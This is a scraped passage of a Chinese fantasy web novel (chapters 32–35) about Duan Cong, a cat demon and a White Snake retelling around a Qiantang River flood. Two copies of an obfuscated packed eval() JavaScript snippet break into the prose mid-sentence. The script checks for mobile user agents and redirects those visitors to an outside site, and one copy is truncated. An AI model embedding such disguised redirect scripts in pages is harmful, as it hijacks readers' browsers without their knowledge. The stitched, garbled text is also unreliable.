他眷恋地望了她一眼,将她的面容印刻在脑海中。后来他终于修炼成人形,而她也长大。他来找她,却发现她和那个叫什么柳不留的在一起。他什么都没有想,很轻巧地就杀了柳不留。 狼就是这样的,自己想要的东西,是容不得别人分的。他把抢他东西的人赶走,把自己喜欢的留在自己身边。难道不该这样做吗? 这样做……究竟是哪里错了呢? 他想不懂,也没时间想了。 宁折缓缓地走到他身边,蹲下来。她有些恍惚地想,三年,真的好久好久。久到她快要忘记当初那个恣意潇洒的柳相,她最初的爱人长什么模样了,久到……她都快要被这个天真懵懂,只傻傻爱着她的狼崽子打动了。 可是又怎么能呢? 狼崽什么都不懂,天真到心头只容得下自己的爱与恨,而她的爱恨,他一丝都不明白。三年的每一个日夜,那痛楚和恨意贯彻心扉,她没一日能够安眠。 她望着永远陷入沉睡的狼崽,眼泪静静地流着,很轻声地道:“好梦。” 就像过去三年中,她曾无数次在睡觉前说给他听的那句话:“好梦,夫君。”每次她说完,他都会高兴地冒出两只狼耳朵来。 好梦,狼崽。 一切归于寂静,山月簌簌无言。 时青再次见到宁折,是在一月以后。 她身边的那只狼妖不见了,只有她一个人,来市集买菜,择衣。没了狼妖,她所过之处,人人都放开胆子骂她。甚至将烂菜叶子、臭鸡蛋丢在她头上,身上。 可她垂着眼,只是很平静地将身上的东西拂去,继续走。 仿佛未曾听到,也未曾看到。 经过时青身边时,他对她笑了笑。他总觉得这个女子或许不像众人口中的那么恶毒不堪。 她怔了一下,也对他微微点头。 春天到了,柳絮纷飞。她伸出手,捻起一朵雪白的柳絮,瘦削苍白的脸上似有笑容浮现,很轻声地道:“终究是留不住啊。” 时青就这样静静地看着,看着她的身影走远。 一朵柳絮飞来,他伸手抓住,端详了片刻。 春天,当真是到了。 35. 第32章 按理说,他们修行之人,想要去一个地方,直接御剑飞行,不出片刻便能到达,岂不是轻松又便捷? 但可惜的是,他们之中,只有苏有容学会了御剑之术。但如今她的身体状况,恐怕不能平稳载着他四人凌空了。 于是还是只能和普通百姓一样,老老实实的用脚步来跨越山河了。 宁芙如今大不同从前,稍有不合心意,就动辄打骂,或者阴阳怪气,段匆甚至疑心她是把先前二十多年来积攒的不满通通发泄了出来。不过每当宁芙嫌累的时候,她还是挺高兴的,每次都乐滋滋劝道:“那师妹不妨回天门宗,那上面日子可舒服多了呢。” 宁芙微笑:“师姐,你想的可真美。” 段匆:“……” 如此五日,总算是到了蓬莱岛。 此时正逢夜晚,月光洒在他们面前的海洋上,金光闪闪,波光粼粼,伴着一阵一阵吹拂的晚风,着实叫人心旷神怡。 蓬莱岛就在对面,海面上倒是停泊着一只小渔船,只是没有船夫。 段匆招呼大家上船,指尖灵光闪动,用法力驱使着小船向前游去。 许久未见了,此时她心里很是雀跃,却又不知怎的,隐隐有几分焦灼。 上次,小白他说,只是朋友吗…… 当真只是朋友吗? 段匆搓了搓脸。朋友,自然只是朋友了! 只是为何,脸有些发热呢? 她又搓了搓脸,却觉得更热了。 “到了。”船达岸边,顿时一股草药清香扑面而来。 段匆上岸,拿出尘缘镜,趁着月色在镜中理了理自己的头发。然后正往前走呢,脚下猝不及防被什么东西一绊,顿时,镜子摔了出去,接着“刺啦”一声,她的衣裙也扯开一道大口子。 “宁芙你……” 一句话没说完,宁芙又趁着她还未站稳的间隙,故意从她身旁挤过去。 段匆一个狗啃泥、结结实实的趴在了地面上。 “宁芙!!!”她咬牙切齿。 “哟,师姐,我不小心,真是对不住。”宁芙讥笑一声,趾高气昂的从她面前走过。 周浮生本来觉得这样有些不好,但转念一想,谁让段匆不喜欢他?摔的真是活该。于是也得意洋洋的跟在宁芙后面走了。 这对狗男女,还能再幼稚点吗?! 段匆简直气的七窍冒烟,不过转念又想到什么,狡黠一笑。 她站起来,拍了拍脸上和身上的尘土,对苏有容道:“师姐,让他们先走吧,我们且再等等。” 苏有容也似觉察到什么,有些好笑的点了点头。 两人便留在原地,段匆捡回尘缘镜,将自己方才摔乱的头发重新整理好。只可惜,这身衣服是没办法换了,只能任它留着一道大破口子了。 不知过了多久,远处传来惊恐的“啊”一声大叫。 段匆在这边哈哈大笑,苏有容也已感知出了这岛上有不少妖怪,看来周浮生和宁芙是遇到了麻烦。 “这岛上的妖怪都不喜欢人族,更何况那对狗男女本来就讨厌,”段匆如今可对他们没有半分抱歉和怜悯了,她道:“师姐,我们画个隐身咒再走,就不会被妖怪们缠住了。” 苏有容微笑应允,正此时,一个带着几分笑意的嗓音在空中响起,道:“不用。” 杏花香! 段匆下意识的闭上眼,果真嗅到了熟悉的气味。 她莫名的心口悸动,喜道:“小白。” 一道影子缓缓的从空中落下来。 数日不见,他倒比从前更加悠然了。 宛如润玉一样的一抹青衫,在月色下晕染着淡淡光华。一头黑发用一根红带子松散的束起,然后如流水一样的垂落在肩背。雪白皮肤,妖孽眉眼,长袍宽袖,施施然而来。 “小白?”苏有容眉梢微挑。 下一瞬好似明白什么:“那我先去找那位百草道人了,你们……”她看一眼段匆呆愣愣的模样,好笑道:“自便吧。” 呃,自便。 师姐走了,段匆倒觉得有些尴尬了,也不知该如何自便。 她一边走,一边嗫嚅道:“那个,我们还是得化个隐身咒吧……” 李刻青瞧着她,也好笑道:“不用。” “可那妖怪们不怎么喜欢我们啊……” 正此时,刚刚抓完周浮生和宁芙的一群老鼠精闻着味跑过来了,李可青淡定的看它们一眼,然后—— “喵”。 “……” 鼠精们吓的魂飞魄散、呜哩哇啦尖叫着逃走了。 李刻青道:“这样就好了。” 段匆:“哈哈哈哈!” 老鼠最怕的果真是猫啊! 走到上次那颗人面树前,上面一颗颗人头又开始花枝乱颤的咯咯笑起来。李刻青淡淡瞥了树上的人头们一眼,顿时,笑声停止了。 人头们一声不吭的乖乖目送他们经过。 段匆:“哈哈哈哈哈哈哈!” 这就是法力强大的好处啊! 上次来时,是被鼠精们横着抬进来的,段匆根本没机会仔细打量百草道人这方小院子的模样。如今光明正大的走进来,才看清这小院中有三间质朴的木屋,几张低矮的石头案几,院中种着各色奇异花草,欣欣向荣。 “你!”院中忽然有人一声尖叫,接着迅速逶迤过来。 一张鲜血淋漓的脸刹那出现在段匆眼前,她吓了一跳:“干嘛?” “你!是你!是你!”烙女蛇不甘而仇恨的尖叫:“你不是已经被炖成汤了吗?为什么还活着?你——” “我要吃了你!!!” 段匆十分淡定。李刻青也十分淡定的瞥了一眼烙女蛇。 “……” 僵持片刻,烙女蛇咬牙切齿的拖着她的蛇身走开了。 段匆哈哈笑了,顺利的进入小院。有容师姐已经见到百草道人了,两人正在屋中闲谈,至于周浮生和宁芙,本来是可以逃过一劫的,但如今烙女蛇已经知道那煮药罐子的奥秘,两人便被愤怒的妖怪们齐心围了起来。 烙女蛇道:“不许扔进罐子里,道人会救他们!” 小鼠精:“好!好好好!” “段匆!”宁芙看见他们,咬牙切齿道:“快放了我们!” 段匆此时可谓得意了:“抓你们的可不是我啊?” “你!”宁芙顿时转换神色,可怜兮兮道:“师姐,我错了,你让他们放了我吧。” 几个妖怪们叽叽喳喳的商量要怎么吃了他二人才最好,周浮生也慌了,道:“师妹!师妹!你肯定不会无动于衷的是吗?我可是你大师兄啊……” 段匆假装听不到,跟着李刻青走到另一间屋子里,乐的笑个不停。 这对狗男女,就该吃点苦头。反正百草道人也不会真的让他们被他手下妖怪吃了去。 外面的大叫声渐渐消失了,估计是妖怪们把两人的嘴封起来了。 但一时变得安静,两人又同处一间小木屋,段匆有些不自在了。她坐在床畔上,想了想,道:“你的伤……还好吧?” “你是说上一次?”李刻青拍一拍肩头,同样在她 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段匆觉得这猫妖似乎更高兴了。看来他苦练厨艺,就是为了今日能够大显一番身手啊。她在背后望着他的忙来忙去的背影,忽然想起什么,好奇问道:“小白,其实我一直很疑惑,你是猫妖,可为什么,当初我师父教给我的辨认猫妖的法子却不管用?” “就算你十分强大,轻易便能掩盖瞳孔和牙齿的不同,可是,你们猫妖的弱点,”她有些不好意思道:“肚皮。” “这是你们全身最薄弱的地方,无论什么时候,只要触碰到这个地方,你们的身体就一定会不由自主的警惕起来、拱起来,这是不可更改的本能,可是那晚……”李刻青转过身来,意味深长的微笑。段匆忽然意识到说漏嘴了。 ……那晚她朝他施了安眠咒,然后又掰他的嘴,又摸他肚子…… 好吧,尽管他早就已经知道了,但是……明晃晃的在明面上说出来,还是太让人尴尬了! 李刻青笑吟吟道:“这个么,”他朝外面唤了一声:“高山君!” “咩,”高山君慢悠悠的探进来一个头:“有病吗?需要看病吗?” “……”李刻青道:“摸我这里。” “咩???”这只山羊妖愣了一会,确定李刻青是让他摸他的肚子。 于是这妖十分温顺的将自己的蹄子放了上去……然后突然哇的惨叫一声,被弹出了足足五米开外! 李刻青拍了拍手上的面粉,无辜道:“不好意思,控制不住。” 段匆愣了。 李刻青望着她,笑眯眯道:“只有你。” 段匆耳朵有些发烫。 只有她? 只有她…… 此时,李刻青道:“饭好了,来吃饭吧。” 段匆有些恍惚的挪到桌边坐下来,看着他将一盘盘菜端上来。鲫鱼豆腐汤,清蒸鲈鱼,西湖醋鱼,菊花鱼……怎么……都是鱼???唯一一道用面粉蒸的糕点,也是一枚枚小鱼儿的形状。哦,还有一碟雪白松软的大馒头,这个倒是和鱼没有关系。 “怎么样?”李刻青期冀的看着段匆。 这真的是只爱吃鱼的猫妖啊……段匆努力的止住笑意,认真道:“很香!” 他笑吟吟道:“那你多吃点。” 段匆道:“好。” 她居箸夹菜,余光中他一直认真而又含笑的注视着她。这样看来,竟连平时并不爱吃的鱼都变的好吃了。 36. 第33章 段匆咽了口口水:“我、我真的可以吗?” 李刻青道:“自然可以!” “真的?” “绝对当真。” “好,那真是多谢你了!”段匆握着自己的黑剑,高兴道。 听说在千百年前,那时妖物横行,尤其鸟族,它们伤了人后,就高高飞回天际,让捉妖师奈何它们不得。 但魔高一尺,道高一丈,渐渐的,捉妖师们开始借用自己的佩剑,将法力灌注其上,然后操纵佩剑腾云而起、凌空飞行。由此,将鸟族妖物斩杀的七零八落。 那段时日,也就成了御剑术最为火热之时,大大小小的捉妖师,无不精通此术。 但事物往往荣辱相伴。到了后来,鸟族妖物因御剑之术几乎消失殆尽,御剑之术也因鸟族的没落,而失去了它最重要的作用,于是后代捉妖师,此项法力便渐渐退化了。 天门宗的弟子呢,能学得会御剑之术,那就学。学不会么,也全然没有关系。 当然,天资平庸的段匆就属于学不会的那一批。 如今李刻青愿意教她,可真是再好不过。以后她要干什么事,就都会方便许多了。 “你不需要找一把剑吗?”段匆看他身上没有剑,问道。 李刻青摇摇头,手心一伸,那把青色折扇舒展开来,他道:“我用这个就行。” 那也好,段匆兴致勃勃道:“我们走吧。” “等等。”李刻青忽然低头端详了一下她的衣服。段匆这才蓦然想起,刚刚衣服被扯破了。她有些发愁道:“这个……” 有点难办啊。上了天飞一飞,恐怕有走光之险…… “如果你不嫌弃的话,我这里有套衣服,你可以换一换。”李刻青道。段匆自然是没什么要求了,更何况他的衣服也没什么好嫌弃的,于是李刻青匆匆离开,回来时,怀中抱着一件红色的衣衫。 不知怎的,段匆觉得他神色微微有些异样,好像在尽力压抑着一种此前从未有过的紧张。 “我在屋外等你。”他匆匆道,立马转身离开。 段匆有些疑惑的将这件衣服展开,顿时愣了。 这是一件女装。 蓬莱岛上除了他,除了百草道人,这段时间还住着别的女子吗? 她怀着更加疑惑的心情将这件衣服换上身,顿时又愣了一下。 这是件十分简单利落的衣裙,鲜血一样热烈而灿烂的红色,除此外无一丝一毫的装饰与点缀。腰身收紧,袖口收紧,衣领略高,段匆穿着它,只觉得自己是某个惩奸除恶、周游天下的侠客。 但更让段匆疑惑的是,这件衣服和她的身量完全贴合,就像是为她量身定做。 她来到门外,道:“好了。” 李刻青看她一眼,仿佛是深吸了一口气,道:“好。” 话音落罢,他手中折扇飞出,灵光闪过,那折扇顿时变大、变大。李刻青道:“上来吧。”段匆跳上去。 折扇凌空而起,下方的景色很快变小,视野变得更加广阔,能看到的不只一个蓬莱岛,还有远处成片的灯火。折扇继续升高,下方的灯火越来越远,到最后,漫延成一片星星点点。风从脸颊吹过,明月近在眼前,又大又皎洁。 “现在拿出你的剑。”李刻青说。 段匆早就准备好了,将剑平展在手心中,静心凝神,将法力缓缓的通过手心、灌注入剑中。 “别动。” 李刻青竟是贴在她耳边说话,温热的吐息喷洒而来。段匆一僵。 他在她身后,以一种拥抱着她的姿势,向前抓住了她的手。冰凉手指覆上来的刹那,段匆不可察觉的轻微抖了抖。他抓着她的手,轻轻的向后、向后……终于,她的手完全脱离开了那剑,可剑却并未掉落,仍稳稳的悬浮在空中。 段匆一喜,忙不自在的挣开他的手和怀抱,顿时感觉呼吸都通畅不少。 “变大!” 黑剑顿时变大了数十倍,漂浮在他的折扇旁边。段匆乐不可支,心道这御剑之术也没想象中那么难,她当即离开折扇、跳上她的剑。 “唉……唉???!” 怎么、怎么不稳了?!别晃啊! 段匆尽力维持平衡,可一切却不受她控制,她跌跌撞撞的摇晃了几个来回,终于还是脚下一滑——直直从剑上摔了下去! 狂风瞬间从背后卷来,段匆看着一身红衣的衣角被吹乱、向四周扬起,心里倒并不觉得慌张。 果然,下一刻,一个怀抱接住了她。 皎皎明月,猎猎长空,静静对视半晌,李刻青低头,慢慢的靠近段匆。 他的眼尾似乎有些红,眼中有些失神,在唇齿将要相贴的一瞬间,段匆听到他喃喃道:“天师……” 她猛一把推开他,用全力召回自己的剑,跳上去凌空而去。 还好,这次终于平稳了。 段匆咬牙,加大法力,让这剑飞行的更快,离身后的李刻青更远。 天师?她何时成为过天师?即使狼妖那时百姓们的确这样唤过她,可大家都知道那并不是真的。从始至终,她根本不是什么赫赫有名的天师,她只是一个平凡甚至平庸的天门宗小弟子! 天师不是她,这身衣服的主人不是她……其实从始至终,他想要对她好的那个人不是她! 前世,她竟然忘了,前世!他只会因她的前世失态! 段匆朝后望了一眼,发现李刻青没有追上她的打算,但一直不近不远的跟着她。段匆此时简直觉得世界上没有人比他更讨厌。如果前世的恩泽,在后世继续回报,那倒也罢了。可是前世的喜欢,也能这么轻易的就转移到后世身上吗? 那这种喜欢该是多么的随意和轻浮,比周浮生的那种还要轻浮! 段匆一肚子气不打一处来,只想尽快摆脱他,手中灵光一闪,驱使着剑向下俯冲,落入了茫茫人间的不知哪一个地方去。 夜空中,李刻青站在折扇上,静静望着下方。 他的袖子中,一个青色小团子“嗖”一下钻出来,蹦跶到他的肩膀上。原来是小草精。它气鼓鼓道:“你又搞砸了!” “我还生怕打扰你们,这么久都没有出来!” “你太笨啦!!!” 李刻青两指捏住它,把它放回袖子里,施法,折扇向下方降落而去。 “哎呀!”段匆摔的头晕眼花,好一会儿才从地上爬起来。 本来嘛,她是飞的挺好的,但是快落到地面的时候,看到街道两旁的景色一下子变得很近,她生怕撞到什么东西。结果越怕什么越来什么,她一心躲避下面的房屋,却忘记了将剑变小,最后横冲直撞,摔的惨极了。 这时,她闻到一股臭味,极香的臭味。 向前方看了看,原来那里有一个卖卤水豆腐的小摊子。卤水豆腐,可比什么破鱼之类的好多了!段匆怀着一种气鼓鼓的心情走过去,向那卖豆腐的老板娘说道:“给我来三大份!” “好,好!”那女人忙笑应道:“您先坐,先坐。” 她这摊子旁摆了几张桌凳,段匆拣了张没人的坐下来。 她看似无所事事,但其实却暗中注意到了斜身后那张桌子。那上面坐着一男一女,男子身着干净的白衣,容貌十分清俊,而那女子……段匆眯起眼。 蛇妖。 老板娘慢吞吞将她的豆腐端过来,段匆点点头,却早已无心吃豆腐了。 她偷偷观察着这一人一妖,发现他两个举止亲近,似是恋人或者夫妻。 人妖相恋,自古以来就没有好结果。就像李刻青,那猫妖喜欢她的某一个前世,但人的寿命不过百年,几十年过去,她那前世已经垂垂老矣,可猫妖却和从前无二,仍旧风华正茂。 不过这个倒和她没关系了。 此时她要关注的,是这蛇妖是否会害人。 渐渐的,段匆发现这蛇妖举止有礼,温柔大气,和平凡人族无二,并没有什么为非作歹的打算。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060187|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这倒也罢了。段匆放松了警惕。 正打算吃她那份卤水豆腐呢,那老板娘忽然带着哭腔颤声叫道:“我、我的钱!” 段匆瞬间拍桌而起:“怎么了?你的钱怎么了?” 老板娘哭道:“刚刚还在的,一转眼就没了!那可是为我家孩子治眼疾的钱啊!” “是那个小贼偷走了!” 有一个客人方才恰好看到那一幕,只是在那小贼面前,他没敢公然揭穿。 “谁、谁啊?”老板娘慌张四顾,却什么人都没看到。 那客人左右环视,也奇了:“他刚刚明明从这里经过的……” 段匆闭上眼,凝神感知。 片刻后她睁开眼:“放心,我知道他在哪儿。” 她挥出剑:“变大!” 长剑顿时变大一倍多,她跳上去,施法指挥着剑向屋顶上飞去。果然,在前面几个屋顶处,有一个瘦男人正着急忙慌的一跳一窜。 段匆掏出红伞,扇起一股飓风朝他卷过去,那瘦男人却回身,龇牙咧嘴的朝她一笑,然后掏出一个黑黢黢的小碗,生生将这股风吸了进去。 这竟还是个修行之人,还会用法宝! 不过,修习了一些术法,却不将其用在正道上,反而用来做这些偷鸡摸狗的不光彩之事,这简直更令人愤怒!段匆划破手指,点点鲜血漂浮在空中,她指尖一弹,一滴滴血如箭矢一样飞过去,包围了那瘦男人。 这次他的法宝可没用了,他也觉得自己三脚猫的法力比不过她,嬉皮笑脸的将那串铜钱一丢:“还你!我走了!” 段匆抓住。 可一细看,却发现这根本不是铜钱,而是一个土块,只不过被他化形了。 但此时那瘦男人早已逃之夭夭、不见踪影了。段匆十分挫败的回到那摊子边。 “不好意思,我没要回来。” “没事,姑娘,”那老板娘抹着眼泪道:“还是谢谢你了,唉,没事,我慢慢攒……” 她一瘸一拐的去收拾方才离开的两桌客人的桌子,却惊讶的“啊”了一声。原来,那些客人听到她说孩子有眼疾,又见她钱被偷可怜,于是都自发的偷偷在碗底下藏了钱。 那老板娘真是感激的不知如何才好了,一个劲儿的抹眼泪,又要跪下朝大家磕头,被大家好说歹说劝住了。 这时,那白衣男子站起来,道:“夫人,你家孩子的眼疾,是天生的,还是后来才得的?平日里是觉得眼前一片漆黑虚无,什么都看不到,又还是能够微弱感知到一些光芒呢?” 那老板娘愣了一下。这时有人认出了这男人,喜道:“唉?这不是保安堂的许大夫吗!” 老板娘一听他是大夫,瞬间惊喜的热泪盈眶,又要给他磕头,被那蛇妖连忙搀扶住了。 “唉,我家在这边,在这边……”那老板娘抹泪道。 但那蛇妖却道:“且先等等。” 老板娘愣了,忐忑不安道:“这是……” 那许大夫笑道:“您这腿疾,也有许多年了吧,不妨我趁此也看一看。” “唉!唉!”老板娘含泪,感激的一个劲儿点头。 周围人见状,也纷纷乐呵呵的鼓起掌来,叫道:“好!”“好!” 行侠仗义的感觉,倒着实不错。段匆亦留了钱,乐呵呵走出这条街,却看见自己此时最不乐意见到的那人急切的朝她赶过来。段匆扭头就跑,听到身后他厉声道:“等等!” 这声音十分严肃,竟像是有什么正事。 段匆停下来。 李刻青将自己那把扇子交到她手中,匆忙道:“带他们走!” “怎么了?”段匆愣了。就在此时,她觉得周遭一切都变暗了,明月的光芒好似被掩盖。 她有些僵硬的回头…… 一道滔天巨浪,如一个张着大口即将要吃人的野兽,正在越升越高。 不远处,有个人嘶声大叫:“钱塘江水崩了!!!” 37. 第34章 “不,不不不……”段匆步步后退,她不行!她不行!她才刚刚学会御剑之术,她连自己都载不稳,又怎么可能带着这么多人一起飞走? 钱塘江水已经升起数十丈,李刻青将草精团子捏出来,草精大叫“我不走!我和你一起去”,李刻青可由不得它,画个咒将它定住,交给了段匆。 段匆瞧着他背影,急的脱口道:“你去干什么!” 其实话出口的刹那便觉得自己是多问了,她怎么会不知道他要干什么。 当看到捉妖师肆意屠杀妖怪时,他的愤怒不是假的。而此时,他作为一只妖,明明可以甩袖而去,置身事外,可他却还是选择了留下来、不遗余力的帮助他们。段匆讷讷的道:“我以为……你讨厌人族。” 李刻青的背影定了一下,微笑道:“恰恰相反。” 说罢,他足尖一点飞起数丈,而后周身灵光大盛,一道结界隔绝住了汹涌的江水。 那江水似是察觉到有人力阻挡,徒然间变得更加汹涌,以更大的力量倾压下来。李刻青的结界瞬间被打散一次,一股水流卷向地面,惊起一片哭叫之声。 还好,他很快便又重新撑起结界,只是人力毕竟无法与江水这样庞大的天力相敌,那结界的灵光十分黯淡、虚弱极了,随时都有破裂的危险。 “救命啊!” “往这边跑!这边!” “放开我!我的东西还没拿……”“个天杀的,都这时候了还拿什么身外之物,你想死吗!” “那不是身外之物,那他妈是我二十多年的家当!!!” “……你去死吧!!!” “救命啊!我不想死啊……” 周遭一片尖叫声与哭声,段匆急的团团乱转。 或许她可以成功施展御剑之术,让大家都上剑,可若是在空中飞到一半,她法力忽然不支,大家从高空掉下来了怎么办?!那时不会有人再接着他们了,她会害死所有人! “啊啊啊啊啊啊啊啊!救救我!救救我!” 结界破开了一道裂缝!水流瞬间从这薄弱处冲下来,将一撮人淹没其中。 草精坐在段匆肩上,看着被淹掉的人,也急了:“段匆,快帮他们啊!” 段匆手心里满是汗水,大吼道:“我不行!!!” 草精急道:“你可以呀!你从前可是……”它忽然意识到什么,顿了一下,气道:“那你破开我的定身咒,我去救人!” 段匆简直被气笑了,它一个小草精团子,落到洪水中恐怕连影子都找不到,它能帮什么忙?草精急道:“那你想怎么办呀?你不许我帮忙,可是你自己又什么也不做……” 因为紧张到极致,段匆有一种想呕吐的感觉。可是,此刻被施了定身咒的仿佛是她,她听到自己心脏在狂跳,但却一动也动不了。她慌道:“我想啊!可是我法力不够强,我会害了他们!我会害了他们你知道吗!” 此时她简直恨死了自己,为何资质如此平庸,这么多年苦修,仍旧法力平平! 草精呜呜道:“可是你不是要……匡扶苍生的吗?” 段匆一愣。 斩妖除魔,匡扶苍生,这是她自小以来的梦想。可是,弱者的匡扶,杯水车薪,螳臂当车,有用吗? “呜——” 有个被淹的人终于没力气再游起来了,惨叫一声,被洪水彻底淹没。 段匆握紧拳,一咬牙。 不管了!她叫道:“小草精,我们走!” 小草精眼前一亮。 段匆将剑高高一抛,施法,剑开始变大。周围的人看到这景象,纷纷惊喜叫喊着向这边跑过来,一个一个争抢着往上爬。 “不要抢!一个一个来!剑会翻的!” 段匆一边喊,一边深吸一口气,潜入冰冷洪水中。 她心慌意乱,一个劲的捏造发光灵蝶。一只又一只灵蝶疯了一般的在漆黑水底炸开,借着爆发出来的亮光,她看到了那个沉底的人,努力的伸出手抓住他,将他拉了起来。竟恰好是方才那许大夫。 乍出水面,在结界与洪水碰撞所形成的狂风下,段匆冷的牙齿打战,连打好几个喷嚏。小草精呜呜叫着“你没事吧”,段匆抹了把脸,道:“没事!” 人太多了,她定下心神,努力的使这剑更大、再大。一旁没挤上来的人看到有了空位,瞬间一窝蜂状都冲了上来,段匆大声道:“都别挤了!我还会再来!” 不能再上人了,她没有办法一次载那么多人。段匆两手交叠,施法,剑身抖动两下后,渐渐的开始升起。 “有救了!有救了!” 剑上面的人发出劫后余生的叫喊。段匆却其实并不像看起来的那么游刃有余,她的脸都白了,头发梢不停的滴着水,青紫色的嘴唇止不住哆嗦,看起来可怜极了。 “快走吧!” “是啊……怎么还不飞呢,快走啊……” “神仙啊,快带我们离开吧!” 段匆深呼吸一口气。 她不是神仙,只是个法力微弱的凡人,而到时候,无论是生是死,所有的责任都要担在她这么一个凡人的身上了。 可是…… 有些责任,是不得不担的。 “走!”段匆大喝一声,剑身瞬间凌空而起,飞速远离这里。 谢天谢地,她基本平稳控制住了这把剑。至少目前,段匆还未觉得有力不从心之感。只是,因飞的太快,转弯的时候,剑身不可避免的产生了一些颠簸和倾斜。 坐在剑边缘的人瞬间尖叫起来,一个个都朝剑中心拥挤过去。而里面的人,自然也不肯让出自己的位置了。一时间,剑上面竟然打起了架! 这么一来,重心不稳,段匆有一刹那真的控制不住,剑身直往下坠了几米。 “啊啊啊啊啊啊啊啊!” 顿时又是一片尖叫。段匆的心也快从嗓子眼里蹦出来了,脸色发白的咬着牙重新稳住剑身,向大家道:“不要再挤了,我可能会控制不住……” 有一个国字脸的男人,背着一个包袱,气急败坏道:“我刚刚差点就跌下去,我就是想往里边坐一点,我怎么着你们了吗……干嘛!别碰我!”他恶狠狠的挤开身旁的人,差点把一个小姑娘从剑身上推下去。 段匆怒道:“你别再动了,我会御稳它的!” 这男人急眼道:“少管我……啊!!!” 终于有正义之士看不下去了。将他摁死在原处,在他脸上痛揍一拳:“就是你这种人,害的大家都陷入危险!” 其实大多人也只是害怕,并无什么恶毒排挤的心思,此时冷静下来,也纷纷道:“是啊。” 有人提议道:“我看我们谁也别动了,既然坐在边缘的人容易掉下去,那大家就干脆牵住手,一个拉一个,保证谁也不丢掉。” “对啊,这法子不错!” “好,那就这么办!” 整个剑上的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060188|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐都拉起手来,也无人再乱动了。段匆感激道:“多谢。” 大家都道:“还是要多谢你才是啊,姑娘你年纪轻轻,就救了我们这么多人的性命,真的太厉害了。” 总算是有惊无险,段匆带着他们远离洪水,将他们安置在一个高高的山崖上。 然后她再次返回。那钱塘江水似乎更疯狂了,但还好,此时已有了不少民间的修士,纷纷前去支持李刻青,而且,段匆定睛一看,发现方才那只蛇妖也在帮忙。 她安心几分,再次将剑放大。 这次,她有信心许多,将李刻青交给自己的扇子也抛出去,和剑一同载人。 小草精道:“两个兵器……段匆你可以吗!” 段匆道:“放心!”从方才的经验来估算,应该是没问题的。小草精看她此时已俨然运筹帷幄、胸有成竹,不由也高兴起来。 扇子和剑一同载人,如此十几个来回之后,所有人都已被带走了。 而钱塘江那边大家也已支撑的十分辛苦,段匆喊道:“可以了!走吧!” 所有人都撤离下来,滔天巨浪瞬间滚落,段匆将剑驱使到最快,逃离洪水。 “所有人都走了吗?”蛇妖喘息着,关切问道。 “都走了。”段匆肯定的答道,她刚刚检查了好几遍。但在下一瞬间,她的目光略过下方某一处,周身如遭雷击,僵住了。 下方,巨浪中,有一个小小的、黑色的影子。 那是个孩子,明明很幼小的面孔,却丝毫不显得单纯。明明隔着这么远,但那双漆黑到极致的眸子,却一眨也不眨的准确看向了段匆。明明周围这么可怕,段匆却觉得,他没有一丝害怕,反而,眼神中写满一种好笑的嘲讽,还有恨意。 她紧张道:“他……他……” 下一瞬,巨浪吞噬这个孩子。 已经不可能再救回他了,没了结界阻挡的巨浪,就如一头獠牙毕露的野兽,足以在刹那间撕碎一切。 许久、许久之后,巨浪终于平息下来。阳光升起,钱塘江变成了一片汪洋,折射着千万道金光。 “有人在捣鬼,天灾根本不可能是这样的……”段匆咬牙道。她忘不了那个孩子,她明明检查过了,却还是漏掉了他。她竭力抑制住泪水,转身扼住那蛇妖的喉咙,狠狠道:“蛇妖擅长操纵水,是不是你,动了手脚?” “小白!”那许大夫急急的试图掰开段匆的手。 “姑娘,你误会了,绝不可能是她!而且什么蛇妖,小白她……” 他忽然愣住了。只见小白温柔而悲伤的朝他轻轻一笑,低声道:“对不起。” 许仙觉得,有什么东西即将彻彻底底的颠覆了。 他听到自己朝夕与共的妻子低声说道:“对不起,我的确是妖,我是……一条白蛇。” 许仙后退了一步:“你……”他定了定心神,轻声问道:“那祸乱钱塘江水的,是你吗?” “不!”白蛇猛然抬头:“不是我!” “那么是谁,你知道是不是?!”段匆怒道。 白蛇顿了顿,闭上眼:“我想是她,青蛇。” “姐姐,你当真就这么无情的供出我么?”话音落罢,从汪洋中游出来一条大蛇,足有一人高。这蛇通体遍布碧青色的鳞片,在阳光下折射出璀璨的光华,美丽极了。可是,它的嗓音却阴嗖嗖的,且“咝咝”的吐着信子,听在人耳中,比这可怖的洪水还要阴冷几分。 38. 第35章 只见青蛇摇身一变,化身成一个女子。这女子眉眼十分狭长,富有一种冰冷的压迫感。 许仙低着头,神情复杂。 这青蛇对他发出一声冷笑,忽而便伸手朝他使出致命的法术。好在白蛇反应极快,几乎是刹那间便挥手挡住了青蛇的攻击。 “小青,你要杀他?” 白蛇容貌清丽,举止温婉,一直以来如同一个彬彬有礼的大家闺秀。此时她神色骤然凌厉,周身法力暴起,一身白色纱衣高高的扬起。 青蛇嘲讽道:“姐姐紧张什么?你我都知道,只要有你在他身边,我就永远不可能杀得了他。” 白蛇不可置信道:“你为什么杀他?难道……你……” 她忽然懂得了什么。 西湖水畔,断桥头边,油纸伞下,来者一身白衣,眉眼温润又清俊,语气和缓带笑:“姑娘,可是忘了带伞?” 伞被留了下来,可是心却跟着那书生模样的人,一同走远。 白蛇苦笑:“你也喜欢他……是吗?” 那年她初入人世,芳心懵懂,自此一眼之后,不由沦陷。日日茶饭不思,只痴痴苦想着那人的模样,在白纸上一遍又一遍的勾画出轮廓。终于,青蛇道:“姐姐,既念念不忘,又何不去找他?” 